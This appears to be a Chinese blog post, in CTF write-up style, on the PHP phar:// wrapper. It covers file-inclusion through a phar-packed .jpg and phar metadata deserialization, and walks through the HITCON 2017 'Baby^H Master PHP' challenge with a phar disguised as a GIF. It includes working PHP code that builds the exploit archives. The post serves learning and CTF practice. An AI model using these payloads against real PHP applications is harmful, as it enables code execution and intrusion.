BlackHat USA 2018中有个有趣的议题New PHP Exploitation Technique Added关于phar协议,在这里学习一个,提高姿势


ctf中经常涉及到对php伪协议的运用,比如file://, php://等等,但是phar://却很少遇见,例如

1
2
3
4
5
6
<?php
    $file = $_GET['file'];
    if (isset($file) && strtolower(substr($file, -4)) == ".jpg") {
        include($file)
    }
?>

这里是要用到phar类打包一个phar标准包

1
2
3
<?php
$p = new PharData('./php.zip', 0,'php',Phar::ZIP) ; 
$p->addFromString('php.jpg', '<?php phpinfo(); ?>'); 

运行后会生产php.zip,然后构造http://target/file.php?file=phar://php.zip/php.jpg

然后phar协议还有反序列化

做个测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');

    class AnyClass {}
    $object = new AnyClass;
    $object->data = 'rips';
    $phar->setMetadata($object);
    $phar->stopBuffering();
1
2
3
4
5
6
7
class AnyClass {
	function __destruct() {
		echo $this->data;
	}
}

include('phar://test.phar');

image

成功被反序列化

ctf题中的例子是hitcon 2017的Baby^H Master PHP 2017

index.php

简化内容,我把题目稍微改动下

1
2
3
4
5
class Admin extends User { 
        function __destruct(){ 
            echo 'flag';
        } 
    } 

42行的file_get_contents会去加载文件,但是如果文件头不是GIF89a的话就退出,所以构造phar

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
	class Admin {
		public $avatar = 'orz';  
	} 
	$p = new Phar(__DIR__ . '/avatar.phar', 0);
	$p['file.php'] = '<?php ?>';
	$p->setMetadata(new Admin());
	$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
	rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

这里的gif头不会影响php代码的执行,因为phar文件结构如下

生成的avatar.gif

可以看到序列化形似的Admin类,于是在die('Upload OK')时会执行Admin类的__destruct

首先访问vps将构造好的avatar.gif上传到个人文件夹

然后用phar协议访问个人文件夹

成功输出flag

为什么会反序列化phar文件?这时候掏出源码就是干

https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609

可以看到620行调用了php_var_unserialize来,在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的metadata会被反序列化

分享者在ppt中分享了实战中phar造成反序列化的场景,依靠file_exists,详情可以看ppt👇


参考资料

https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf

https://blog.ripstech.com/2018/new-php-exploitation-technique/

http://php.net/manual/zh/phar.fileformat.manifestfile.php

https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html

https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017